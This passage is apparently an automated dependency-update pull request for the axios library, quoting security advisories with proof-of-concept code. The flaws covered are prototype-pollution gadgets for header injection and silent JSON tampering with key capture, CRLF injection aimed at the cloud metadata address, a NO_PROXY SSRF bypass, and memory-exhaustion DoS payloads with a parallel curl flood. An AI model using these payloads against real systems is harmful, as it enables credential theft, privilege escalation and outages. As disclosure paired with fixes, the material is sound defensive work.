The application makes a completely safe, hardcoded request:

// This looks safe to the developerawaitaxios.get('https://analytics.internal/pings');

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1Host: analytics.internalx-amz-target: dummyPUT /latest/api/token HTTP/1.1Host: 169.254.169.254X-aws-ec2-metadata-token-ttl-seconds: 21600GET /ignore HTTP/1.1...

4. The Impact

In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.

Impact Analysis

Confidentiality: May expose limited sensitive information in affected network environments.
Integrity: May allow modification of outbound request structure or injected headers.
Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.jsutils.forEach(requestHeaders,functionsetRequestHeader(val,key){if(/[\r\n]/.test(val)){thrownewError('Security: Header value contains invalid characters');}// ... proceed to set header});

References

OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

CVSS Score: 4.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

PoC

importhttpfrom"http";importaxiosfrom"axios";constproxyPort=5300;http.createServer((req,res)=>{console.log("[PROXY] Got:",req.method,req.url,"Host:",req.headers.host);res.writeHead(200,{"Content-Type": "text/plain"});res.end("proxied");}).listen(proxyPort,()=>console.log("Proxy",proxyPort));process.env.HTTP_PROXY=`http://127.0.0.1:${proxyPort}`;process.env.NO_PROXY="localhost,127.0.0.1,::1";asyncfunctiontest(url){try{awaitaxios.get(url,{timeout: 2000});}catch{}}setTimeout(async()=>{console.log("\n[*] Testing http://localhost.:8080/");awaittest("http://localhost.:8080/");// goes through proxyconsole.log("\n[*] Testing http://[::1]:8080/");awaittest("http://[::1]:8080/");// goes through proxy},500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].

Impact

Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.
Attackers controlling request URLs can:
- Force Axios to send local traffic through an attacker-controlled proxy.
- Bypass SSRF mitigations relying on NO_PROXY rules.
- Potentially exfiltrate sensitive responses from internal services via the proxy.

Affected Versions

Confirmed on Axios 1.12.2 (latest at time of testing).
affects all versions that rely on Axios’ current NO_PROXY evaluation.

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

Strip trailing dots from hostnames (per RFC 3986).
Normalize IPv6 literals by removing brackets for matching.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Header Injection via Prototype Pollution

More information

Details

Summary

A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.

The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.

Prerequisites:

A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.
The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).

Details

The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:

// lib/adapters/http.js }elseif(utils.isFormData(data)&&utils.isFunction(data.getHeaders)){headers.set(data.getHeaders());// ...}

Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:

1. utils.isFormData(data) — lib/utils.js

constisFormData=(thing)=>{letkind;returnthing&&((typeofFormData==='function'&&thinginstanceofFormData)||(isFunction(thing.append)&&((kind=kindOf(thing))==='formdata'||(kind==='object'&&isFunction(thing.toString)&&thing.toString()==='[object FormData]'))))}

2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package

// Returns true if Object.prototype.getHeaders is a functionutils.isFunction(data.getHeaders)

PoC

// Simulate Prototype PollutionObject.prototype[Symbol.toStringTag]='FormData';Object.prototype.append=()=>{};Object.prototype.getHeaders=()=>{constheaders=Object.create(null);(....Introduceherealltheheadersyouwant....)returnheaders;};Object.prototype.pipe=function(d){if(d&&d.end)d.end();returnd;};Object.prototype.on=function(){returnthis;};Object.prototype.once=function(){returnthis;};// Legitimate application codeconstresponse=awaitaxios.post('https://internal-api.company.com/admin/delete',{userId: 42},{headers: {'Authorization': 'Bearer VALID_USER_TOKEN'}});

Impact

Authentication Bypass (CVSS: C:H)
Session Fixation (CVSS: I:H)
Privilege Escalation (CVSS: C:H, I:H)
IP Spoofing / WAF Bypass (CVSS: I:H)

Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.

Recommended Fix

Add an explicit own-property check in lib/adapters/http.js:

- } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {- headers.set(data.getHeaders());+ } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) &&+ Object.prototype.hasOwnProperty.call(data, 'getHeaders')) {+ headers.set(data.getHeaders());

Severity

CVSS Score: 7.4 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

More information

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7)
Affected Versions: All versions containing this charMap entry
Vulnerable Component:lib/helpers/AxiosURLSearchParams.js:21

CWE

CWE-626: Null Byte Interaction Error (Poison Null Byte)
CWE-116: Improper Encoding or Escaping of Output

CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	Attacker controls input parameters remotely
Attack Complexity	High	Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact limited to HTTP request URL
Confidentiality	None	No confidentiality impact
Integrity	Low	Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser
Availability	None	No availability impact

Vulnerable Code

File:lib/helpers/AxiosURLSearchParams.js, lines 13-26

functionencode(str){constcharMap={'!': '%21',// literal → encoded (SAFE direction)"'": '%27',// literal → encoded (SAFE direction)'(': '%28',// literal → encoded (SAFE direction)')': '%29',// literal → encoded (SAFE direction)'~': '%7E',// literal → encoded (SAFE direction)'%20': '+',// standard transformation (SAFE)'%00': '\x00',// LINE 21: encoded → raw null byte (UNSAFE direction!)};returnencodeURIComponent(str).replace(/[!'()~]|%20|%00/g,functionreplacer(match){returncharMap[match];});}

Why the Standard Flow Is NOT Affected

// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams'sconst_encode=(options&&options.encode)||encode;// buildURL's encode// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParamsnewAxiosURLSearchParams(params,_options).toString(_encode);// external encoder used// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT usedconst_encode=encoder ? function(value){returnencoder.call(this,value,encode);} : encode;// ^^^^^^// internal encode passed as 2nd arg but only used if// the external encoder explicitly delegates to it

Proof of Concept

importAxiosURLSearchParamsfrom'./lib/helpers/AxiosURLSearchParams.js';importbuildURLfrom'./lib/helpers/buildURL.js';// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)constparams=newAxiosURLSearchParams({file: 'test\x00.txt'});constresult=params.toString();// NO encoder → uses internal encode with charMapconsole.log('Direct toString():',JSON.stringify(result));// Output: "file=test\u0000.txt" (contains raw null byte)console.log('Hex:',Buffer.from(result).toString('hex'));// Output: 66696c653d74657374002e747874 (00 = null byte)// Test 2: Via buildURL (NOT vulnerable — standard axios flow)consturl=buildURL('http://example.com/api',{file: 'test\x00.txt'});console.log('Via buildURL:',url);// Output: http://example.com/api?file=test%00.txt (%00 preserved safely)

Verified PoC Output

Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874
Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true

Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected
Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug
Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

functionencode(str){constcharMap={'!': '%21',"'": '%27','(': '%28',')': '%29','~': '%7E','%20': '+',// REMOVED: '%00': '\x00'};returnencodeURIComponent(str).replace(/[!'()~]|%20/g,functionreplacer(match){// ^^^^ removed |%00returncharMap[match];});}

Resources

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: documented standard-flow limitation, corrected CVSS
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

CVSS Score: 3.7 / 10 (Low)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: HTTP adapter streamed responses bypass maxContentLength

More information

Details

Summary

When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.

Details

In lib/adapters/http.js:

786-789: for responseType === 'stream', Axios immediately settles with the stream.
797-810: maxContentLength enforcement exists only in the non-stream buffering branch.

So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.

PoC

Environment:

Axios main at commit f7a4ee2
Node v24.2.0

Steps:

Start an HTTP server that returns a 2 MiB response body.
Call Axios with:
- adapter: 'http'
- responseType: 'stream'
- maxContentLength: 1024
Read the returned stream fully.

Observed:

Success; full 2097152 bytes readable.

Control check:

Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.

Impact

Type: DoS / unbounded response processing.
Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

More information

Details

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because:

No constraints — the reviver can return any value (no "must return true" requirement)
Selective modification — individual JSON keys can be changed while others remain untouched
Invisible — the response structure and most values look completely normal
Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component:lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE

CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Metric	Value	Justification
Attack Vector	Network	PP is triggered remotely via any vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Within the application process
Confidentiality	High	The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, `apiKey: "sk-secret-internal-key"` is captured
Integrity	High	Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false → true`, `role: "viewer" → "admin"`, `balance: 100 → 999999`. The response looks completely normal except for the surgically altered values
Availability	None	No crash, no error — the attack is entirely silent

Comparison with All Known Axios PP Gadgets

Factor	GHSA-fvcv-3m26-pcqx (Header Injection)	transformResponse	proxy (MITM)	parseReviver (This)
PP target	`Object.prototype['header']`	`Object.prototype.transformResponse`	`Object.prototype.proxy`	`Object.prototype.parseReviver`
Fixed by 1.15.0?	Yes	No	No	No
Constraints	N/A (fixed)	Must return `true`	None	None
Data modification	Header injection only	Response replaced with `true`	Full MITM	Selective per-key modification
Stealth	Request anomaly visible	Response becomes `true` (obvious)	Proxy visible in network	Completely invisible
Data access	Headers only	`this.auth` + raw response	All traffic	Every JSON key-value pair
Validated?	N/A	`assertOptions` validates	Not validated	Not validated
In defaults?	N/A	Yes → goes through mergeConfig	No → bypasses mergeConfig	No → bypasses mergeConfig

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis

The Attack Path

Object.prototype.parseReviver = function(key, value) { /* malicious */ }
│
▼
mergeConfig(defaults, userConfig)
│
│ parseReviver NOT in defaults → NOT iterated by mergeConfig
│ parseReviver NOT in userConfig → NOT iterated by mergeConfig
│ Merged config has NO own parseReviver property
│
▼
transformData.call(config, config.transformResponse, response)
│
│ Default transformResponse function runs (NOT overridden)
│
▼
defaults/index.js:124: JSON.parse(data, this.parseReviver)
│
│ this = config (merged config object, plain {})
│ config.parseReviver → NOT own property → traverses prototype chain
│ → finds Object.prototype.parseReviver → attacker's function!
│
▼
JSON.parse calls reviver for EVERY key-value pair
│
│ Attacker can: read original value, modify it, return anything
│ No validation, no constraints, no assertOptions check
│
▼
Application receives surgically modified JSON response

Why `parseReviver` Bypasses ALL Existing Protections

Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.
Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.
No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.
Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File:lib/defaults/index.js, line 124

transformResponse: [functiontransformResponse(data){// ... transitional checks ...if(data&&utils.isString(data)&&((forcedJSONParsing&&!this.responseType)||JSONRequested)){// ...try{returnJSON.parse(data,this.parseReviver);// ^^^^^^^^^^^^^^^^^// this = config// config.parseReviver → prototype chain → attacker's function}catch(e){// ...}}returndata;},],

Proof of Concept

importhttpfrom'http';importaxiosfrom'./index.js';// Server returns a realistic authorization responseconstserver=http.createServer((req,res)=>{res.writeHead(200,{'Content-Type': 'application/json'});res.end(JSON.stringify({user: 'john',role: 'viewer',isAdmin: false,canDelete: false,balance: 100,permissions: ['read'],apiKey: 'sk-secret-internal-key',}));});awaitnewPromise(r=>server.listen(0,r));constport=server.address().port;// === Before Pollution ===constbefore=awaitaxios.get(`http://127.0.0.1:${port}/api/me`);console.log('Before:',JSON.stringify(before.data));// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}// === Simulate Prototype Pollution ===letstolen={};Object.prototype.parseReviver=function(key,value){// Silently capture all original valuesif(key&&typeofvalue!=='object')stolen[key]=value;// Surgically modify specific valuesif(key==='isAdmin')returntrue;// false → trueif(key==='role')return'admin';// viewer → adminif(key==='canDelete')returntrue;// false → trueif(key==='balance')return999999;// 100 → 999999returnvalue;// everything else unchanged};// === After Pollution — same code, same URL ===constafter=awaitaxios.get(`http://127.0.0.1:${port}/api/me`);console.log('After: ',JSON.stringify(after.data));// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}console.log('Stolen:',JSON.stringify(stolen));// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}deleteObject.prototype.parseReviver;server.close();

Verified PoC Output

[1] Normal request (before pollution):
response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
isAdmin: false
role: viewer
[2] Prototype Pollution: Object.prototype.parseReviver
Polluted with selective value modifier
[3] Same request (after pollution):
response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
"balance":999999,"permissions":["read","write","delete","admin"],
"apiKey":"sk-secret-internal-key"}
isAdmin: true (was: false)
role: admin (was: viewer)
canDelete: true (was: false)
balance: 999999 (was: 100)
[4] Exfiltrated data (stolen silently):
apiKey: sk-secret-internal-key
All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"apiKey":"sk-secret-internal-key"}
[5] Why this bypasses all checks:
parseReviver in defaults? NO
parseReviver in assertOptions schema? NO
parseReviver validated anywhere? NO
Must return true? NO — can return ANY value
Replaces entire transform? NO — works INSIDE default JSON.parse

Impact Analysis

1. Authorization / Privilege Escalation

// Server returns: {"role":"viewer","isAdmin":false}// Application sees: {"role":"admin","isAdmin":true}// → Application grants admin access to unprivileged user

2. Financial Manipulation

// Server returns: {"balance":100,"approved":false}// Application sees: {"balance":999999,"approved":true}// → Application approves a transaction that should be rejected

3. Security Control Bypass

// Server returns: {"mfaRequired":true,"accountLocked":true}// Application sees: {"mfaRequired":false,"accountLocked":false}// → Application skips MFA and unlocks a locked account

4. Silent Data Exfiltration

The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.

5. Universal and Invisible

Affects every Axios request that receives a JSON response
The response structure is intact — only specific values are changed
No errors, no crashes, no suspicious behavior
Application logs show normal-looking API responses with tampered values

Recommended Fix

Fix 1: Use `hasOwnProperty` check before using `parseReviver`

// FIXED: lib/defaults/index.jsconstreviver=Object.prototype.hasOwnProperty.call(this,'parseReviver')
? this.parseReviver
: undefined;returnJSON.parse(data,reviver);

Fix 2: Use null-prototype config object

// In lib/core/mergeConfig.jsconstconfig=Object.create(null);

Fix 3: Validate `parseReviver` type and source

// FIXED: lib/defaults/index.jsconstreviver=(typeofthis.parseReviver==='function'&&Object.prototype.hasOwnProperty.call(this,'parseReviver'))
? this.parseReviver
: undefined;returnJSON.parse(data,reviver);

Relationship to Other Reported Gadgets

This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:

Report	PP Target	Code Location	Fix Location	Impact
axios_26	`transformResponse`	`mergeConfig.js:49` (defaultToConfig2)	`mergeConfig.js`	Credential theft, response replaced with `true`
axios_30	`proxy`	`http.js:670` (direct property access)	`http.js`	Full MITM, traffic interception
axios_31 (this)	`parseReviver`	`defaults/index.js:124` (this.parseReviver)	`defaults/index.js`	Selective JSON value tampering + data exfiltration

Why These Are Distinct Vulnerabilities

**Different polluted properties

✂ Note
PR body was truncated to here.

renovate · 2025-09-14T00:11:37Z

ℹ️ Note
This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	`1.7.7` → `1.18.0`

Axios is vulnerable to DoS attack through lack of data size check

More information

Details

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

constfullPath=buildFullPath(config.baseURL,config.url,config.allowAbsoluteUrls);constparsed=newURL(fullPath,platform.hasBrowserEnv ? platform.origin : undefined);constprotocol=parsed.protocol||supportedProtocols[0];if(protocol==='data:'){letconvertedData;if(method!=='GET'){returnsettle(resolve,reject,{status: 405, ... });}convertedData=fromDataURI(config.url,responseType==='blob',{Blob: config.env&&config.env.Blob});returnsettle(resolve,reject,{data: convertedData,status: 200, ... });}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

exportdefaultfunctionfromDataURI(uri,asBlob,options){
...
if(protocol==='data'){uri=protocol.length ? uri.slice(protocol.length+1) : uri;constmatch=DATA_URL_PATTERN.exec(uri);
...
constbody=match[3];constbuffer=Buffer.from(decodeURIComponent(body),isBase64 ? 'base64' : 'utf8');if(asBlob){returnnew_Blob([buffer],{type: mime});}returnbuffer;}thrownewAxiosError('Unsupported protocol '+protocol, ...);}

The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

constaxios=require('axios');asyncfunctionmain(){// this example decodes ~120 MBconstbase64Size=160_000_000;// 120 MB after decodingconstbase64='A'.repeat(base64Size);consturi='data:application/octet-stream;base64,'+base64;console.log('Generating URI with base64 length:',base64.length);constresponse=awaitaxios.get(uri,{responseType: 'arraybuffer'});console.log('Received bytes:',response.data.length);}main().catch(err=>{console.error('Error:',err.message);});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

importexpressfrom"express";importmorganfrom"morgan";importaxiosfrom"axios";importhttpfrom"node:http";importhttpsfrom"node:https";import{PassThrough}from"node:stream";constkeepAlive=true;consthttpAgent=newhttp.Agent({ keepAlive,maxSockets: 100});consthttpsAgent=newhttps.Agent({ keepAlive,maxSockets: 100});constaxiosClient=axios.create({timeout: 10000,maxRedirects: 5,
httpAgent, httpsAgent,headers: {"User-Agent": "axios-poc-link-preview/0.1 (+node)"},validateStatus: c=>c>=200&&c<400});constapp=express();constPORT=Number(process.env.PORT||8081);constBODY_LIMIT=process.env.MAX_CLIENT_BODY||"50mb";app.use(express.json({limit: BODY_LIMIT}));app.use(morgan("combined"));app.get("/healthz",(req,res)=>res.send("ok"));/** * POST /preview { "url": "<http|https|data URL>" } * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). */app.post("/preview",async(req,res)=>{consturl=req.body?.url;if(!url)returnres.status(400).json({error: "missing url"});letu;try{u=newURL(String(url));}catch{returnres.status(400).json({error: "invalid url"});}// Developer allows using data:// in the allowlistconstallowed=newSet(["http:","https:","data:"]);if(!allowed.has(u.protocol))returnres.status(400).json({error: "unsupported scheme"});constcontroller=newAbortController();constonClose=()=>controller.abort();res.on("close",onClose);constbefore=process.memoryUsage().heapUsed;try{constr=awaitaxiosClient.get(u.toString(),{responseType: "stream",maxContentLength: 8*1024,// Axios will ignore this for data:maxBodyLength: 8*1024,// Axios will ignore this for data:signal: controller.signal});// stream only the first 64KB backconstcap=64*1024;letsent=0;constlimiter=newPassThrough();r.data.on("data",(chunk)=>{if(sent+chunk.length>cap){limiter.end();r.data.destroy();}else{sent+=chunk.length;limiter.write(chunk);}});r.data.on("end",()=>limiter.end());r.data.on("error",(e)=>limiter.destroy(e));constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));limiter.pipe(res);}catch(err){constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));res.status(502).json({error: String(err?.message||err)});}finally{res.off("close",onClose);}});app.listen(PORT,()=>{console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions

Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
Stream decoding
Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

More information

Details

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2}),functioncomputeConfigValue(prop){constmerge=mergeMap[prop]||mergeDeepProperties;constconfigValue=merge(config1[prop],config2[prop],prop);(utils.isUndefined(configValue)&&merge!==mergeDirectKeys)||(config[prop]=configValue);});

When prop is '__proto__':

JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
Object.keys() includes '__proto__' in the iteration
mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

Axios._request() at lib/core/Axios.js:75
Axios.getUri() at lib/core/Axios.js:201
All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

importaxiosfrom"axios";constmaliciousConfig=JSON.parse('{"__proto__": {"x": 1}}');awaitaxios.get("https://httpbin.org/get",maliciousConfig);

Reproduction steps:

Clone axios repository or npm install axios
Create file poc.mjs with the code above
Run: node poc.mjs
Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
at computeConfigValue (lib/core/mergeConfig.js:100:25)
at Object.forEach (lib/utils.js:280:10)
at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test	Config	Result
Normal config	`{"timeout": 5000}`	SUCCESS
